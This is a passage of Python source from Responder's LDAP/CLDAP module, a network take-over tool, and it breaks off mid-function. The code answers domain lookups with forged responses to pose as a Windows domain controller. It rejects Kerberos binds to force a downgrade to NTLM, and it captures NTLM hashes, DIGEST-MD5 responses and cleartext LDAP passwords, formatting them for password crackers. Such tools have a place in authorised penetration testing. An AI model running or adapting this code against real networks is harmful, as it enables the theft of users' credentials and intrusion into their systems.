#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools 
# created and maintained by Laurent Gaffie.
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info > (3, 0)):
	from socketserver import BaseRequestHandler
else:
	from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
from utils import *
import struct
import codecs
import random
import base64
import hashlib

# Global storage for client domain information from CLDAP
client_domain_info = {}  # Stores full domain info: {client_ip: {'domain': ..., 'guid': ..., 'netbios': ...}}

def extract_domain_info_from_cldap(data, client_ip):
	"""Extract complete domain information from CLDAP Netlogon request"""
	try:
		domain_info = {}
		
		# Extract DNS domain name
		dns_domain_idx = data.find(b'DnsDomain')
		if dns_domain_idx != -1:
			offset = dns_domain_idx + len('DnsDomain')
			domain_section = data[offset:offset+50]
			
			domain_bytes = []
			for i, b in enumerate(domain_section):
				if 32 <= b <= 126:
					domain_bytes.append(b)
				elif b == 0 and domain_bytes:
					break
			
			if domain_bytes:
				domain = bytes(domain_bytes).decode('latin-1', errors='ignore').strip().rstrip('.')
				if '.' in domain and len(domain) < 50:
					domain_info['domain'] = domain
		
		# Extract Domain GUID
		guid_idx = data.find(b'DomainGuid')
		if guid_idx != -1:
			offset = guid_idx + 10  # Skip 'DomainGuid' (10 bytes)
			if offset + 2 < len(data):
				# GUID structure: [tag] [length] [GUID bytes]
				# Skip tag byte (usually 0x04 for OCTET STRING)
				guid_len = data[offset + 1]
				if 0 < guid_len <= 16 and offset + 2 + guid_len <= len(data):
					guid_bytes = data[offset + 2:offset + 2 + guid_len]
					domain_info['guid'] = guid_bytes
		
		# Extract NtVer (NT version/capabilities flags)
		ntver_idx = data.find(b'NtVer')
		if ntver_idx != -1:
			offset = ntver_idx + len('NtVer')
			if offset + 6 < len(data):
				# NtVer is usually 4 bytes
				try:
					ntver_len = data[offset + 1]
					if ntver_len == 4:
						ntver_bytes = data[offset + 2:offset + 6]
						ntver = struct.unpack('<I', ntver_bytes)[0]
						domain_info['ntver'] = ntver
				except:
					pass
		
		# Extract DomainSid if present
		domsid_idx = data.find(b'DomainSid')
		if domsid_idx != -1:
			offset = domsid_idx + len('DomainSid')
			if offset + 30 < len(data):
				try:
					sid_len = data[offset + 1]
					if 8 <= sid_len <= 68:  # Valid SID length range
						sid_bytes = data[offset + 2:offset + 2 + sid_len]
						domain_info['domainsid'] = sid_bytes
				except:
					pass
		
		# Extract Host (client computer name) - just for logging
		host_idx = data.find(b'Host')
		if host_idx != -1:
			offset = host_idx + 4
			host_section = data[offset:offset+50]
			host_bytes = []
			for b in host_section:
				if 32 <= b <= 126:
					host_bytes.append(b)
				elif b == 0 and host_bytes:
					break
			if host_bytes:
				try:
					client_host = bytes(host_bytes).decode('latin-1', errors='ignore')
					if 3 <= len(client_host) <= 20:
						domain_info['client_host'] = client_host
				except:
					pass
		
		if domain_info and 'domain' in domain_info:
			if settings.Config.Verbose:
				guid_str = domain_info.get('guid', b'').hex() if 'guid' in domain_info else 'N/A'
				ntver_str = f"0x{domain_info['ntver']:08x}" if 'ntver' in domain_info else 'N/A'
				client_host = domain_info.get('client_host', 'N/A')
				print(text('[CLDAP] Client %s: domain=%s, guid=%s, ntver=%s, host=%s' % 
					(client_ip, domain_info['domain'], guid_str[:32], ntver_str, client_host)))
			
			client_domain_info[client_ip] = domain_info
			return domain_info
	
	except Exception as e:
		if settings.Config.Verbose:
			print(text('[CLDAP] Error extracting domain info: %s' % str(e)))
	
	return None

def CalculateDNSName(name):
	if isinstance(name, bytes):
		name = name.decode('latin-1')
	name = name.split(".")
	DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
	Dnslen = ''
	for x in name:
		if len(x) >= 1:
			Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
	return Dnslen, DomainPrefix

def ParseCLDAPNetlogon(data):
	try:
		Dns = data.find(b'DnsDomain')
		if Dns == -1:
			return None, None
		DnsName = data[Dns+9:]
		DnsGuidOff = data.find(b'DomainGuid')
		if DnsGuidOff == -1:
			return None, None
		Guid = data[DnsGuidOff+10:]
		if Dns:
			DomainLen = struct.unpack(">B", DnsName[1:2])[0]
			DomainName = DnsName[2:2+DomainLen]
		if Guid:
			DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
			DomainGuid = Guid[2:2+DomainGuidLen]
		return DomainName, DomainGuid
	except:
		pass
	return None, None

def encode_ldap_length(length):
	"""Encode length in ASN.1 format for LDAP"""
	if length < 128:
		return struct.pack('B', length)
	elif length < 256:
		return b'\x81' + struct.pack('B', length)
	elif length < 65536:
		return b'\x82' + struct.pack('>H', length)
	else:
		return b'\x83' + struct.pack('>I', length)[1:]

def ParseSearch(data, client_ip=None):
	# Extract Message ID properly
	try:
		offset = 1  # Skip SEQUENCE tag
		msg_len, consumed = parse_asn1_length(data, offset)
		offset += consumed
		
		# Skip to INTEGER tag for MessageID
		if data[offset] != 0x02:
			TID = '\x02'  # Default fallback
		else:
			offset += 1
			msgid_len, consumed = parse_asn1_length(data, offset)
			offset += consumed
			if msgid_len == 1:
				TID = data[offset:offset+1].decode('latin-1')
			else:
				TID = '\x02'  # Default fallback
	except:
		TID = '\x02'  # Default fallback
	
	if re.search(b'Netlogon', data):
		# Extract domain from CLDAP Netlogon request
		if client_ip:
			extract_domain_info_from_cldap(data, client_ip)
		
		# Generate realistic DC name based on extracted domain
		try:
			DomainName, DomainGuid = ParseCLDAPNetlogon(data)
		except Exception as e:
			if settings.Config.Verbose:
				print(text('[CLDAP] Parsing error: %s' % str(e)))
			DomainName = None
			DomainGuid = None
		
		# Generate DC hostname (just DC1, not domain-based)
		if DomainName:
			try:
				domain_str = DomainName.decode('latin-1', errors='ignore').strip().rstrip('.')
				NbtName = "DC1"
				if settings.Config.Verbose:
					print(text('[CLDAP] Generated DC name: %s (from domain: %s)' % (NbtName, domain_str)))
			except:
				NbtName = settings.Config.MachineName
		else:
			NbtName = settings.Config.MachineName
		
		TID = NetworkRecvBufferPython2or3(data[8:10])
		if TID[1] == "\x63":
			TID = "\x00"+TID[0]
		
		# Handle None DomainGuid
		if DomainGuid:
			DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
		else:
			# Use zero GUID (16 bytes of zeros) if we couldn't extract one
			DomainGuid = NetworkRecvBufferPython2or3(b'\x00' * 16)
			if settings.Config.Verbose:
				print(text('[CLDAP] Warning: Could not extract DomainGuid, using zero GUID'))
		
		# Handle None DomainName
		if not DomainName:
			DomainName = settings.Config.MachineName.encode('latin-1')
		
		# Decode and clean domain name
		domain_str_clean = DomainName.decode('latin-1', errors='ignore').strip().rstrip('.')
		DomainName_clean = domain_str_clean.encode('latin-1')
		
		# Extract domain NetBIOS name (first part before dot)
		domain_netbios = domain_str_clean.split('.')[0].upper()
		
		t = CLDAPNetlogon(MessageIDASNStr=TID, CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName_clean)[0], NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(domain_netbios)[0], NTLogonDomainNameShort=CalculateDNSName(DomainName_clean)[1])
		t.calculate()
		return str(t)
	
	# Detect root DSE query (empty baseObject + objectclass=* filter)
	# Windows queries for various root DSE attributes - respond to all of them
	# Note: check both "objectClass" and "objectclass" since byte regex (?i) doesn't work in Python
	if (b'objectClass' in data or b'objectclass' in data) and (
		b'supportedSASLMechanisms' in data or 
		b'namingContexts' in data or 
		b'defaultNamingContext' in data or 
		b'supportedCapabilities' in data or
		b'supportedControl' in data or
		b'supportedLDAPVersion' in data or
		b'supportedLDAPPolicies' in data or
		b'dsServiceName' in data or
		b'dnsHostName' in data or
		b'serverName' in data or
		b'ldapServiceName' in data or
		b'subschemaSubentry' in data
	):
		# Build root DSE response
		MessageID = TID
		
		# Use client's domain info from CLDAP if available, otherwise use config
		domain = None
		domain_guid = None
		dc_hostname = None
		
		if client_ip and client_ip in client_domain_info:
			domain_info = client_domain_info[client_ip]
			domain = domain_info.get('domain')
			domain_guid = domain_info.get('guid')
			
			# Generate DC hostname (just DC1)
			dc_hostname = "DC1"
			
			if settings.Config.Verbose:
				guid_str = domain_guid.hex()[:32] if domain_guid else 'N/A'
				print(text('[LDAP] Using client domain info: domain=%s, guid=%s, dc_name=%s' % (domain, guid_str, dc_hostname)))
		
		if not domain:
			domain = settings.Config.MachineName.upper()
		
		if not dc_hostname:
			# Fallback: use config machine name but make it look like a DC
			dc_hostname = settings.Config.MachineName
		
		# Domain components - strip trailing dots and filter empty parts
		domain = domain.strip().rstrip('.')  # Remove trailing dot if present
		
		if '.' in domain:
			domain_parts = [part for part in domain.upper().split('.') if part]  # Filter empty strings
		else:
			domain_parts = [domain.upper(), 'LOCAL']
		
		# Build DN strings for serverName attribute
		domain_dn = ','.join(['DC=' + part for part in domain_parts])
		config_dn = 'CN=Configuration,' + domain_dn
		server_name = 'CN=' + dc_hostname + ',CN=Servers,CN=Default-First-Site-Name,CN=Sites,' + config_dn
		
		# Build full DNS hostname for the DC
		dc_fqdn = dc_hostname + '.' + domain
		
		# CRITICAL: Real DCs only return a MINIMAL set of attributes for root DSE queries
		# Based on analysis of real DC (WIN-H4M1G51C701), return ONLY these 8 core attributes:
		# This matches the exact behavior of a real Windows DC
		attrs = {
			'dnsHostName': [dc_fqdn],
			'ldapServiceName': [domain_parts[0] + ':' + dc_hostname + '@' + domain],
			'serverName': [server_name],
			'supportedCapabilities': ['1.2.840.113556.1.4.800', '1.2.840.113556.1.4.1670', '1.2.840.113556.1.4.1791', '1.2.840.113556.1.4.1935'],
			'supportedControl': ['1.2.840.113556.1.4.319', '1.2.840.113556.1.4.801', '1.2.840.113556.1.4.473', '1.2.840.113556.1.4.528', '1.2.840.113556.1.4.417', '1.2.840.113556.1.4.619', '1.2.840.113556.1.4.841', '1.2.840.113556.1.4.529', '1.2.840.113556.1.4.805', '1.2.840.113556.1.4.521', '1.2.840.113556.1.4.970', '1.2.840.113556.1.4.1338', '1.2.840.113556.1.4.474', '1.2.840.113556.1.4.1339', '1.2.840.113556.1.4.1340', '1.2.840.113556.1.4.1413', '2.16.840.1.113730.3.4.9', '2.16.840.1.113730.3.4.10', '1.2.840.113556.1.4.1504', '1.2.840.113556.1.4.1852', '1.2.840.113556.1.4.802', '1.2.840.113556.1.4.1907', '1.2.840.113556.1.4.1948', '1.2.840.113556.1.4.1974', '1.2.840.113556.1.4.1341', '1.2.840.113556.1.4.2026', '1.2.840.113556.1.4.2064', '1.2.840.113556.1.4.2065', '1.2.840.113556.1.4.2066'],
			'supportedLDAPPolicies': ['MaxPoolThreads', 'MaxDatagramRecv', 'MaxReceiveBuffer', 'InitRecvTimeout', 'MaxConnections', 'MaxConnIdleTime', 'MaxPageSize', 'MaxQueryDuration', 'MaxTempTableSize', 'MaxResultSetSize', 'MaxNotificationPerConn', 'MaxValRange'],
			'supportedLDAPVersion': ['3', '2'],
			'supportedSASLMechanisms': ['GSSAPI', 'GSS-SPNEGO', 'NTLM', 'EXTERNAL', 'DIGEST-MD5'],
		}
		
		# NOTE: We do NOT return these attributes (real DC doesn't return them for root DSE queries):
		# - subschemaSubentry, dsServiceName, defaultNamingContext, namingContexts
		# - configurationNamingContext, schemaNamingContext, rootDomainNamingContext
		# - domainFunctionality, forestFunctionality, domainControllerFunctionality
		# - isGlobalCatalogReady, isSynchronized
		# Returning these causes Windows to reject us as not a real DC!
		
		# Build all attributes
		all_attrs = b''
		
		for attr_name, attr_values in attrs.items():
			# Build attribute SEQUENCE
			attr_type = b'\x04' + encode_ldap_length(len(attr_name)) + attr_name.encode('latin-1')
			
			# Build values SET
			vals_content = b''
			for val in attr_values:
				val_bytes = val.encode('latin-1')
				vals_content += b'\x04' + encode_ldap_length(len(val_bytes)) + val_bytes
			
			attr_vals = b'\x31' + encode_ldap_length(len(vals_content)) + vals_content
			
			attr_content = attr_type + attr_vals
			attr = b'\x30' + encode_ldap_length(len(attr_content)) + attr_content
			all_attrs += attr
		
		attrs_seq = b'\x30' + encode_ldap_length(len(all_attrs)) + all_attrs
		
		# Build SearchResultEntry
		object_name = b'\x04\x00'  # Empty for root DSE
		search_entry_content = object_name + attrs_seq
		search_entry = b'\x64' + encode_ldap_length(len(search_entry_content)) + search_entry_content
		
		# Build LDAPMessage
		msgid_bytes = b'\x02\x01' + MessageID.encode('latin-1')
		msg_content = msgid_bytes + search_entry
		msg = b'\x30' + encode_ldap_length(len(msg_content)) + msg_content
		
		# SearchResultDone
		result_done = b'\x65\x07\x0a\x01\x00\x04\x00\x04\x00'
		done_msg_content = msgid_bytes + result_done
		done_msg = b'\x30' + encode_ldap_length(len(done_msg_content)) + done_msg_content
		
		return (msg + done_msg).decode('latin-1')
	
	# If no specific root DSE query matched, return generic response
	return None

def ParseLDAPHash(data, client, Challenge):
	"""Parse LDAP NTLMSSP v1/v2"""
	SSPIStart = data.find(b'NTLMSSP')
	if SSPIStart == -1:
		return
	
	SSPIString = data[SSPIStart:]
	if len(SSPIString) < 64:
		return
	
	try:
		LMhashLen    = struct.unpack('<H', data[SSPIStart+14:SSPIStart+16])[0]
		LMhashOffset = struct.unpack('<H', data[SSPIStart+16:SSPIStart+18])[0]
		LMHash       = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
		LMHash       = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
		
		NthashLen    = struct.unpack('<H', data[SSPIStart+20:SSPIStart+22])[0]
		NthashOffset = struct.unpack('<H', data[SSPIStart+24:SSPIStart+26])[0]
		
		# NTLMv1
		if NthashLen == 24:
			SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen]
			SMBHash      = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
			DomainLen    = struct.unpack('<H', SSPIString[30:32])[0]
			DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
			Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
			UserLen      = struct.unpack('<H', SSPIString[38:40])[0]
			UserOffset   = struct.unpack('<H', SSPIString[40:42])[0]
			Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
			
			# Get hostname
			HostnameLen    = struct.unpack('<H', SSPIString[46:48])[0]
			HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
			if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
				Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
			else:
				Hostname = ''
			
			WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge, 'hex').decode('latin-1'))
			
			SaveToDb({
				'module': 'LDAP',
				'type': 'NTLMv1-SSP',
				'client': client,
				'hostname': Hostname,
				'user': Domain+'\\'+Username,
				'hash': SMBHash,
				'fullhash': WriteHash,
			})
		
		# NTLMv2
		elif NthashLen > 60:
			SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen]
			SMBHash      = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
			DomainLen    = struct.unpack('<H', SSPIString[30:32])[0]
			DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
			Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
			UserLen      = struct.unpack('<H', SSPIString[38:40])[0]
			UserOffset   = struct.unpack('<H', SSPIString[40:42])[0]
			Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
			
			# Get hostname
			HostnameLen    = struct.unpack('<H', SSPIString[46:48])[0]
			HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
			if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
				Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
			else:
				Hostname = ''
			
			WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge, 'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
			
			SaveToDb({
				'module': 'LDAP',
				'type': 'NTLMv2-SSP',
				'client': client,
				'hostname': Hostname,
				'user': Domain+'\\'+Username,
				'hash': SMBHash,
				'fullhash': WriteHash,
			})
		
		if LMhashLen < 2 and settings.Config.Verbose:
			print(text("[LDAP] Ignoring anonymous NTLM authentication"))
	
	except Exception as e:
		if settings.Config.Verbose:
			print(text('[LDAP] Error parsing NTLM hash: %s' % str(e)))

def ParseDIGESTMD5(data, client, Challenge):
	"""Parse DIGEST-MD5 SASL mechanism responses"""
	try:
		# Look for DIGEST-MD5 response
		digest_start = data.find(b'username="')
		if digest_start == -1:
			return None
		
		# Extract the digest response data
		response_str = data[digest_start:].decode('latin-1', errors='ignore')
		
		# Parse out the username
		username_match = re.search(r'username="([^"]+)"', response_str)
		realm_match = re.search(r'realm="([^"]+)"', response_str)
		nonce_match = re.search(r'nonce="([^"]+)"', response_str)
		cnonce_match = re.search(r'cnonce="([^"]+)"', response_str)
		nc_match = re.search(r'nc=([0-9a-fA-F]+)', response_str)
		qop_match = re.search(r'qop=([a-z\-]+)', response_str)
		uri_match = re.search(r'digest-uri="([^"]+)"', response_str)
		response_match = re.search(r'response=([0-9a-fA-F]+)', response_str)
		
		if username_match and response_match:
			username = username_match.group(1)
			realm = realm_match.group(1) if realm_match else ''
			nonce = nonce_match.group(1) if nonce_match else ''
			cnonce = cnonce_match.group(1) if cnonce_match else ''
			nc = nc_match.group(1) if nc_match else '00000001'
			qop = qop_match.group(1) if qop_match else ''
			uri = uri_match.group(1) if uri_match else ''
			response = response_match.group(1)
			
			# Format for hashcat/john
			hash_string = '%s:$sasl$DIGEST-MD5$%s$%s$%s$%s$%s$%s$%s$%s' % (username, realm, username, nonce, cnonce, nc, qop, uri, response)
			
			SaveToDb({
				'module': 'LDAP',
				'type': 'DIGEST-MD5',
				'client': client,
				'user': username,
				'hash': response,
				'fullhash': hash_string,
			})
			
			print(color("[*] [LDAP] Captured DIGEST-MD5 hash from %s for user %s" % (client.replace("::ffff:", ""), username), 3, 1))
			return True
	
	except Exception as e:
		if settings.Config.Verbose:
			print(text('[LDAP] Error parsing DIGEST-MD5: %s' % str(e)))
	
	return None

def ParsePLAINSASL(data, client):
	"""Parse PLAIN SASL mechanism (cleartext credentials)"""
	try:
		# PLAIN SASL format: [authzid]\x00authcid\x00password
		# Find the SASL credentials in the packet
		sasl_start = data.find(b'\x04')  # Octet string tag
		if sasl_start == -1:
			return None
		
		# Skip the tag and length bytes
		sasl_data = data[sasl_start+2:]
		
		# Split by null bytes
		parts = sasl_data.split(b'\x00')
		if len(parts) >= 3:
			authzid = parts[0].decode('utf-8', errors='ignore')
			username = parts[1].decode('utf-8', errors='ignore')
			password = parts[2].decode('utf-8', errors='ignore')
			
			if username and password:
				SaveToDb({
					'module': 'LDAP',
					'type': 'PLAIN-SASL',
					'client': client,
					'user': username,
					'cleartext': password,
					'fullhash': username + ':' + password,
				})
				
				print(color("[*] [LDAP] Captured PLAIN SASL credentials from %s for user %s" % (client.replace("::ffff:", ""), username), 2, 1))
				return True
	
	except Exception as e:
		if settings.Config.Verbose:
			print(text('[LDAP] Error parsing PLAIN SASL: %s' % str(e)))
	
	return None

def DetectSASLMechanism(data):
	"""Detect which SASL mechanism is being used"""
	try:
		if b'NTLMSSP' in data:
			return 'NTLM'
		elif b'DIGEST-MD5' in data or b'digest-uri=' in data:
			return 'DIGEST-MD5'
		elif b'PLAIN' in data:
			return 'PLAIN'
		elif b'GSSAPI' in data or b'GSS-SPNEGO' in data:
			# Try to extract NTLMSSP from GSSAPI wrapper
			if b'NTLMSSP' in data:
				return 'GSSAPI-NTLM'
			# Check for Kerberos
			if b'KRB5' in data or b'\x6e\x82' in data:  # Kerberos AP-REQ
				return 'GSSAPI-KERBEROS'
			return 'GSSAPI'
	except:
		pass
	return None

def BuildAuthMethodNotSupportedResponse(MessageID):
	"""Build LDAP BindResponse with authMethodNotSupported (7) result code"""
	# This forces the client to fall back to NTLM instead of Kerberos
	
	# MessageID (copy from request)
	if isinstance(MessageID, bytes):
		msgid_bytes = MessageID
	elif isinstance(MessageID, str):
		msgid_bytes = MessageID.encode('latin-1')
	else:
		msgid_bytes = b'\x02'  # Default
	
	# Build BindResponse content
	# ResultCode: authMethodNotSupported (7)
	result_code = b'\x0a\x01\x07'  # ENUMERATED, length 1, value 7
	
	# MatchedDN: empty
	matched_dn = b'\x04\x00'  # OCTET STRING, length 0
	
	# DiagnosticMessage: "Authentication method not supported. Please use NTLM."
	diag_msg = b'Authentication method not supported. Please use NTLM.'
	diag_msg_encoded = b'\x04' + encode_ldap_length(len(diag_msg)) + diag_msg
	
	# BindResponse content
	bind_content = result_code + matched_dn + diag_msg_encoded
	
	# BindResponse (APPLICATION 1 = 0x61)
	bind_response = b'\x61' + encode_ldap_length(len(bind_content)) + bind_content
	
	# MessageID (INTEGER)
	if len(msgid_bytes) == 1:
		msgid_encoded = b'\x02\x01' + msgid_bytes
	else:
		msgid_encoded = b'\x02' + encode_ldap_length(len(msgid_bytes)) + msgid_bytes
	
	# Complete message
	ldap_msg = msgid_encoded + bind_response
	
	# SEQUENCE wrapper
	complete = b'\x30' + encode_ldap_length(len(ldap_msg)) + ldap_msg
	
	return complete

def ParseNTLM(data, client, Challenge):
	"""Parse NTLM authentication"""
	# Extract Message ID properly
	try:
		offset = 1  # Skip SEQUENCE tag
		msg_len, consumed = parse_asn1_length(data, offset)
		offset += consumed
		
		# Skip to INTEGER tag for MessageID
		if data[offset] != 0x02:
			MessageID = '\x02'  # Default fallback
		else:
			offset += 1
			msgid_len, consumed = parse_asn1_length(data, offset)
			offset += consumed
			if msgid_len == 1:
				MessageID = data[offset:offset+1].decode('latin-1')
			else:
				MessageID = '\x02'  # Default fallback
	except:
		MessageID = '\x02'  # Default fallback
	
	if re.search(b'(NTLMSSP\x00\x01\x00\x00\x00)', data):
		# NTLMSSP NEGOTIATE - send CHALLENGE
		if settings.Config.Verbose:
			print(text('[LDAP] NTLMSSP NEGOTIATE from %s' % client.replace("::ffff:", "")))
		NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=MessageID, NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
		NTLMChall.calculate()
		return NTLMChall
	
	elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
		# NTLMSSP AUTH - parse hash
		if settings.Config.Verbose:
			print(text('[LDAP] NTLMSSP AUTH from %s' % client.replace("::ffff:", "")))
		ParseLDAPHash(data, client, Challenge)
		# Return special marker to close connection after auth
		return 'CLOSE_CONNECTION'

def ParseCLDAPPacket(data, client, Challenge):
	try:
		# Parse LDAP message structure properly
		if len(data) < 6:
			return None
		
		offset = 0
		
		# SEQUENCE tag (0x30)
		if data[offset] != 0x30:
			return None
		offset += 1
		
		# Parse message length
		msg_len, consumed = parse_asn1_length(data, offset)
		offset += consumed
		
		# Parse Message ID
		if offset >= len(data) or data[offset] != 0x02:  # INTEGER
			return None
		offset += 1
		
		msgid_len, consumed = parse_asn1_length(data, offset)
		offset += consumed
		
		if offset + msgid_len > len(data):
			return None
		
		MessageID = data[offset:offset+msgid_len]
		offset += msgid_len
		
		# Get operation type
		if offset >= len(data):
			return None
		
		Operation = data[offset:offset+1]
		
		if Operation == b'\x60':  # Bind
			# Parse bind request
			offset += 1
			bind_len, consumed = parse_asn1_length(data, offset)
			offset += consumed
			
			# LDAP version
			if offset >= len(data) or data[offset] != 0x02:
				return None
			offset += 1
			version_len, consumed = parse_asn1_length(data, offset)
			offset += consumed
			offset += version_len
			
			# Name (DN)
			if offset >= len(data) or data[offset] != 0x04:
				return None
			offset += 1
			name_len, consumed = parse_asn1_length(data, offset)
			offset += consumed
			
			UserDomain = data[offset:offset+name_len].decode('latin-1', errors='ignore')
			offset += name_len
			
			if offset >= len(data):
				return None
			
			AuthHeaderType = data[offset:offset+1]
			
			# Simple bind (cleartext)
			if AuthHeaderType == b'\x80':
				offset += 1
				pass_len, consumed = parse_asn1_length(data, offset)
				offset += consumed
				
				Password = data[offset:offset+pass_len].decode('latin-1', errors='ignore')
				
				SaveToDb({
					'module': 'LDAP',
					'type': 'Cleartext',
					'client': client,
					'user': UserDomain,
					'cleartext': Password,
					'fullhash': UserDomain+':'+Password,
				})
				return 'CLOSE_CONNECTION'
			
			# SASL bind (0xA3)
			if AuthHeaderType == b'\xA3':
				# Detect mechanism
				mechanism = DetectSASLMechanism(data)
				if mechanism == 'NTLM' or mechanism == 'GSSAPI-NTLM':
					Buffer = ParseNTLM(data, client, Challenge)
					return Buffer
				elif mechanism == 'GSSAPI-KERBEROS' or mechanism == 'GSSAPI':
					# Client is trying Kerberos - reject it to force NTLM fallback
					if settings.Config.Verbose:
						print(text('[LDAP] Rejecting Kerberos auth from %s, forcing NTLM fallback' % client.replace("::ffff:", "")))
					
					# Extract MessageID to use in response
					try:
						msg_offset = 1  # Skip SEQUENCE tag
						msg_len, consumed = parse_asn1_length(data, msg_offset)
						msg_offset += consumed
						
						if data[msg_offset] == 0x02:  # INTEGER tag
							msg_offset += 1
							msgid_len, consumed = parse_asn1_length(data, msg_offset)
							msg_offset += consumed
							MessageIDBytes = data[msg_offset:msg_offset+msgid_len]
						else:
							MessageIDBytes = b'\x02'
					except:
						MessageIDBytes = b'\x02'
					
					# Send authMethodNotSupported response
					Buffer = BuildAuthMethodNotSupportedResponse(MessageIDBytes)
					return Buffer
				elif mechanism == 'DIGEST-MD5':
					ParseDIGESTMD5(data, client, Challenge)
				elif mechanism == 'PLAIN':
					ParsePLAINSASL(data, client)
				elif mechanism and settings.Config.Verbose:
					print(text('[LDAP] Detected SASL mechanism: %s from %s' % (mechanism, client.replace("::ffff:", ""))))
				return None
		
		elif Operation == b'\x63':  # Search
			Buffer = ParseSearch(data, client)
			print(text('[CLDAP] Sent CLDAP pong to %s.' % client.replace("::ffff:", "")))
			return Buffer
		
		elif settings.Config.Verbose:
			print(text('[CLDAP] Operation not supported'))
	
	except Exception as e:
		if settings.Config.Verbose:
			print(text('[CLDAP] Parsing error: %s' % str(e)))
	
	return None

def parse_asn1_length(data, offset):
	"""Parse ASN.1 length field"""
	if offset >= len(data):
		return 0, 0
	
	first_byte = data[offset]
	
	# Short form (length < 128)
	if first_byte < 0x80:
		return first_byte, 1
	
	# Long form
	num_octets = first_byte & 0x7F
	if num_octets == 0 or offset + 1 + num_octets > len(data):
		return 0, 0
	
	length = 0
	for i in range(num_octets):
		length = (length << 8) | data[offset + 1 + i]
	
	return length, 1 + num_octets

def ParseLDAPPacket(data, client, Challenge):
	try:
		# Parse LDAP message structure properly
		if len(data) < 6:
			return None
		
		offset = 0
		
		# SEQUENCE tag (0x30)
		if data[offset] != 0x30:
			return None
		offset += 1
		
		# Parse message length
		msg_len, consumed = parse_asn1_length(data, offset)
		offset += consumed
		
		# Parse Message ID
		if offset >= len(data) or data[offset] != 0x02:  # INTEGER
			return None
		offset += 1
		
		msgid_len, consumed = parse_asn1_length(data, offset)
		offset += consumed
		
		if offset + msgid_len > len(data):
			return None
		
		MessageID = data[offset:offset+msgid_len]
		offset += msgid_len
		
		# Get operation type
		if offset >= len(data):
			return None
		
		Operation = data[offset:offset+1]
		
		if Operation == b'\x60':  # Bind
			# Parse bind request
			offset += 1
			bind_len, consumed = parse_asn1_length(data, offset)
			offset += consumed
			
			# LDAP version
			if offset >= len(data) or data[offset] != 0x02:
				return None
			offset += 1
			version_len, consumed = parse_asn1_length(data, offset)
			offset += consumed
			offset += version_len
			
			# Name (DN)
			if offset >= len(data) or data[offset] != 0x04:
				return None
			offset += 1
			name_len, consumed = parse_asn1_length(data, offset)
			offset += consumed
			
			UserDomain = data[offset:offset+name_len].decode('latin-1', errors='ignore')
			offset += name_len
			
			if offset >= len(data):
				return None
			
			AuthHeaderType = data[offset:offset+1]
			
			# Simple bind (cleartext)
			if AuthHeaderType == b'\x80':
				offset += 1
				pass_len, consumed = parse_asn1_length(data, offset)
				offset += consumed
				
				Password = data[offset:offset+pass_len].decode('latin-1', errors='ignore')
				
				SaveToDb({
					'module': 'LDAP',
					'type': 'Cleartext',
					'client': client,
					'user': UserDomain,
					'cleartext': Password,
					'fullhash': UserDomain+':'+Password,
				})
				return 'CLOSE_CONNECTION'
			
			# SASL bind (0xA3)
			if AuthHeaderType == b'\xA3':
				# Detect mechanism
				mechanism = DetectSASLMechanism(data)
				if mechanism == 'NTLM' or mechanism == 'GSSAPI-NTLM':
					Buffer = ParseNTLM(data, client, Challenge)
					return Buffer
				elif mechanism == 'GSSAPI-KERBEROS' or mechanism == 'GSSAPI':
					# Client is trying Kerberos - reject it to force NTLM fallback
					if settings.Config.Verbose:
						print(text('[LDAP] Rejecting Kerberos auth from %s, forcing NTLM fallback' % client.replace("::ffff:", "")))
					
					# Extract MessageID to use in response
					try:
						msg_offset = 1  # Skip SEQUENCE tag
						msg_len, consumed = parse_asn1_length(data, msg_offset)
						msg_offset += consumed
						
						if data[msg_offset] == 0x02:  # INTEGER tag
							msg_offset += 1
							msgid_len, consumed = parse_asn1_length(data, msg_offset)
							msg_offset += consumed
							MessageIDBytes = data[msg_offset:msg_offset+msgid_len]
						else:
							MessageIDBytes = b'\x02'
					except:
